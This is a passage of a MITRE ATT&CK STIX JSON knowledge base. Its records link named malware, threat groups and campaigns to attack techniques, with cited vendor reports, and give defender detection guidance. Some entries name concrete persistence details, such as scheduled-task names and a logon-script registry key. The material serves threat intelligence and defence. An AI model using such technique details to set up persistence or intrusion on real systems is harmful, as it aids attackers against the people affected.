ttack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--89aa1b4b-e801-41f7-b32b-16dc6dbb1032","type":"relationship","created":"2022-03-30T14:26:51.839Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.839Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--81033c3b-16a4-46e4-8fed-9b030dd03c4a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--89adc7a4-e19c-451f-8008-b728a7c0f407","type":"relationship","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.855Z","description":"Monitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.","source_ref":"x-mitre-data-component--93a6e38c-02a5-44d8-9035-b2e08459f31f","target_ref":"attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--89b157e1-3972-421e-87c9-f9e83b26ec90","type":"relationship","created":"2019-03-12T16:19:09.902Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.","url":"https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools","source_name":"NCSC Joint Report Public Tools"}],"modified":"2021-01-25T15:43:46.054Z","description":"(Citation: NCSC Joint Report Public Tools)","relationship_type":"uses","source_ref":"intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6","target_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--89baa1ed-a6f9-4da6-9448-c74d8f8a638b","created":"2022-04-11T17:11:34.203Z","revoked":false,"external_references":[{"source_name":"Profero APT27 December 2020","description":"Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.","url":"https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:05:38.084Z","description":"[RCSession](https://attack.mitre.org/software/S0662) can gather system owner information, including user and administrator privileges.(Citation: Profero APT27 December 2020)","relationship_type":"uses","source_ref":"malware--03acae53-9b98-46f6-b204-16b930839055","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--89bcfd5b-376a-4191-9b49-553001df844f","created":"2022-09-21T21:02:52.133Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant UNC3890 Aug 2022","description":"Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.","url":"https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-04T21:23:03.770Z","description":"[SUGARDUMP](https://attack.mitre.org/software/S1042) has created scheduled tasks called `MicrosoftInternetExplorerCrashRepoeterTaskMachineUA` and `MicrosoftEdgeCrashRepoeterTaskMachineUA`, which were configured to execute `CrashReporter.exe` during user logon.(Citation: Mandiant UNC3890 Aug 2022)","relationship_type":"uses","source_ref":"malware--9c10cede-c0bb-4c5c-91c0-8baec30abaf6","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--89bd0965-1256-4725-9b34-29be35fbb879","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Pfammatter - Hidden Inbox Rules","description":"Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.","url":"https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/"},{"source_name":"Microsoft Tim McMichael Exchange Mail Forwarding 2","description":"McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.","url":"https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-13T13:27:10.066Z","description":"Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. This is especially true in cases with hidden auto-forwarding rules. This makes it only possible to reliably detect the existence of a hidden auto-forwarding rule by examining message tracking logs or by using a MAPI editor to notice the modified rule property values.(Citation: Pfammatter - Hidden Inbox Rules)\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include X-MS-Exchange-Organization-AutoForwarded set to true, X-MailFwdBy and X-Forwarded-To. The forwardingSMTPAddress parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the X-MS-Exchange-Organization-AutoForwarded header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.\n\nIn environments using Exchange, monitor logs for the creation or modification of mail transport rules. ","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--89bd934f-2d0b-487e-9235-138403b91267","type":"relationship","created":"2020-05-18T21:01:51.142Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET LoudMiner June 2019","url":"https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/","description":"Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."}],"modified":"2020-06-23T00:48:35.278Z","description":"[LoudMiner](https://attack.mitre.org/software/S0451) used a script to gather the IP address of the infected machine before sending to the C2.(Citation: ESET LoudMiner June 2019)","relationship_type":"uses","source_ref":"malware--f99f3dcc-683f-4936-8791-075ac5e58f10","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--89bd9b10-f1cb-4569-977c-784cbfbb23e1","created":"2022-09-29T20:28:35.468Z","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T20:28:35.468Z","description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used [Conti](https://attack.mitre.org/software/S0575) ransomware to encrypt a compromised network.(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--89bed5a5-b40c-4d27-87c7-a077d1cb2e59","type":"relationship","created":"2020-11-06T19:39:44.095Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2021-04-22T13:40:21.236Z","description":"[KGH_SPY](https://attack.mitre.org/software/S0526) has the ability to set the HKCU\\Environment\\UserInitMprLogonScript Registry key to execute logon scripts.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"malware--8bdfe255-e658-4ddd-a11c-b854762e451d","target_ref":"attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--89c060ad-cec7-4ffb-85aa-8670c8dabeda","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 DarkHydrus Jan 2019","url":"https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/","description":"Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019."},{"url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/","description":"Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.","source_name":"Unit 42 DarkHydrus July 2018"}],"modified":"2020-03-19T19:24:50.120Z","description":"[RogueRobin](https://attack.mitre.org/software/S0270) uses Windows Script Components.(Citation: Unit42 DarkHydrus Jan 2019)(Citation: Unit 42 DarkHydrus July 2018)","relationship_type":"uses","source_ref":"malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--89c6bcd7-e330-4902-8296-0918923d6573","type":"relationship","created":"2017-05-31T21:33:27.060Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/","description":"Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.","source_name":"Dell Lateral Movement"}],"modified":"2019-05-30T18:05:32.902Z","description":"(Citation: Dell Lateral Movement)","relationship_type":"uses","source_ref":"intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648","target_ref":"tool--bba595da-b73a-4354-aa6c-224d4de7cb4e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--89c82970-9959-456b-9533-5803fd8008a8","type":"relationship","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.848Z","description":"In general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly. In single flux cases only IP addresses change for static domain names. In double flux cases, nothing is static. Defenders such as domain registrars and service providers are likely in the best position for detection.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--89cbf71b-9189-43ac-927f-e5aaf9d66df0","type":"relationship","created":"2019-12-20T13:45:09.041Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.symantec.com/connect/blogs/bios-threat-showing-again","description":"Ge, L. (2011, September 9). BIOS Threat is Showing up Again!. Retrieved November 14, 2014.","source_name":"Ge 2011"}],"modified":"2019-12-20T13:45:09.041Z","description":"[Trojan.Mebromi](https://attack.mitre.org/software/S0001) performs BIOS modification and can download and execute a file as well as protect itself from removal.(Citation: Ge 2011)","relationship_type":"uses","source_ref":"malware--c5e9cb46-aced-466c-85ea-7db5572ad9ec","target_ref":"attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--89d09e89-aded-4194-811b-3da14561e943","type":"relationship","created":"2020-03-19T19:13:51.095Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-19T19:13:51.095Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--89d236d7-a19b-4f63-875e-007705ae6bb2","created":"2022-03-30T14:26:51.860Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cloudy Logs 2023","description":"Pany, D. & Hanley, C. (2023, May 3). Cloudy with a Chance of Bad Logs: Cloud Platform Log Configurations to Consider in Investigations. Retrieved October 16, 2023.","url":"https://www.mandiant.com/resources/blog/cloud-bad-log-configurations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-16T17:09:04.249Z","description":"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.(Citation: Mandiant Cloudy Logs 2023)","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--89d37095-2f31-42e9-b8f7-3abdd76d5f57","created":"2021-11-29T18:59:22.149Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Lunghi Iron Tiger Linux","description":"Daniel Lunghi. (2023, March 1). Iron Tiger’s SysUpdate Reappears, Adds Linux Targeting. Retrieved March 20, 2023.","url":"https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html"},{"source_name":"Trend Micro Iron Tiger April 2021","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021.","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-29T15:59:40.484Z","description":"[SysUpdate](https://attack.mitre.org/software/S0663) can collect a system's architecture, operating system version, hostname, and drive information.(Citation: Trend Micro Iron Tiger April 2021)(Citation: Lunghi Iron Tiger Linux)","relationship_type":"uses","source_ref":"malware--c009560a-f097-45a3-8f9f-78ec1440a783","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--89e07be1-6d8b-4886-ab3d-68fb23275c8c","type":"relationship","created":"2021-06-03T22:26:00.760Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Bandook Nov 2020","url":"https://research.checkpoint.com/2020/bandook-signed-delivered/","description":"Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}],"modified":"2021-06-03T22:26:00.760Z","description":"[Bandook](https://attack.mitre.org/software/S0234) can support commands to execute Java-based payloads.(Citation: CheckPoint Bandook Nov 2020) ","relationship_type":"uses","source_ref":"malware--835a79f1-842d-472d-b8f4-d54b545c341b","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--89e62a1b-169f-4174-9594-1eec0cd4cb0c","type":"relationship","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.874Z","description":"Monitor for API calls associated with polling to intercept keystrokes.","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--89e838c0-b1d3-4e01-bf47-d1594f407420","type":"relationship","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.848Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--89ed7e05-1f94-4693-b290-96c3a9ecd615","type":"relationship","created":"2019-06-05T17:31:22.349Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Trend Micro. (2014, December 11). PE_URSNIF.A2. Retrieved June 5, 2019.","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/PE_URSNIF.A2?_ga=2.131425807.1462021705.1559742358-1202584019.1549394279","source_name":"TrendMicro PE_URSNIF.A2"}],"modified":"2019-06-24T16:46:20.529Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) has registered itself as a system service in the Registry for automatic execution at system startup.(Citation: TrendMicro PE_URSNIF.A2)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--89ef773b-6d5d-482e-9afd-bc892eb8093e","type":"relationship","created":"2020-12-29T22:21:11.438Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyble Egregor Oct 2020","url":"https://cybleinc.com/2020/10/31/egregor-ransomware-a-deep-dive-into-its-activities-and-techniques/","description":"Cybleinc. (2020, October 31). Egregor Ransomware – A Deep Dive Into Its Activities and Techniques. Retrieved December 29, 2020."},{"source_name":"NHS Digital Egregor Nov 2020","url":"https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary","description":"NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. Retrieved December 29, 2020."}],"modified":"2020-12-29T22:21:11.438Z","description":"[Egregor](https://attack.mitre.org/software/S0554) has used multiple anti-analysis and anti-sandbox techniques to prevent automated analysis by sandboxes.(Citation: Cyble Egregor Oct 2020)(Citation: NHS Digital Egregor Nov 2020) ","relationship_type":"uses","source_ref":"malware--cc4c1287-9c86-4447-810c-744f3880ec37","target_ref":"attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--89fad9cc-d20b-43c4-a98d-105ff6642f2c","type":"relationship","created":"2021-09-15T18:02:37.564Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec WastedLocker June 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us","description":"Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021."}],"modified":"2021-10-13T22:50:48.929Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) has used WMIC to execute commands on remote computers.(Citation: Symantec WastedLocker June 2020) ","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8a00aa55-b7b2-4df5-902b-d01bfdf89089","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos NavRAT May 2018","description":"Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.","url":"https://blog.talosintelligence.com/2018/05/navrat.html"}],"modified":"2020-03-16T17:19:47.453Z","description":"[NavRAT](https://attack.mitre.org/software/S0247) uses systeminfo on a victim’s machine.(Citation: Talos NavRAT May 2018)","relationship_type":"uses","source_ref":"malware--53a42597-1974-4b8e-84fd-3675e8992053","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8a033ef9-10ca-4ed9-9c57-421f769485ae","type":"relationship","created":"2021-07-06T13:37:12.005Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-07-06T13:37:12.005Z","description":"[Nebulae](https://attack.mitre.org/software/S0630) has the ability to delete files and directories.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--22b17791-45bf-45c0-9322-ff1a0af5cf2b","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8a039d93-db2d-4a98-81d4-357425574bab","type":"relationship","created":"2020-05-06T18:10:59.296Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."}],"modified":"2020-06-03T20:19:35.061Z","description":"[Kivars](https://attack.mitre.org/software/S0437) has the ability to capture screenshots on the infected host.(Citation: TrendMicro BlackTech June 2017)","relationship_type":"uses","source_ref":"malware--b2d134a1-7bd5-4293-94d4-8fc978cb1cd7","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8a03f60e-bb09-4f4d-815e-88d86192042f","created":"2023-07-12T18:57:23.334Z","revoked":false,"external_references":[{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-12T18:57:23.334Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) accessed Azure AD to identify email addresses.(Citation: Crowdstrike TELCO BPO Campaign December 2022)","relationship_type":"uses","source_ref":"campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa","target_ref":"attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--8a0ac9c9-e8e2-44a2-b2b0-87b4b4fa90fb","created":"2024-04-12T10:58:01.612Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NGLite Trojan","description":"Robert Falcone, Jeff White, and Peter Renals. (2021, November 7). Targeted Attack Campaign Against ManageEngine ADSelfService Plus Delivers Godzilla Webshells, NGLite Trojan and KdcSponge Stealer. Retrieved February 8, 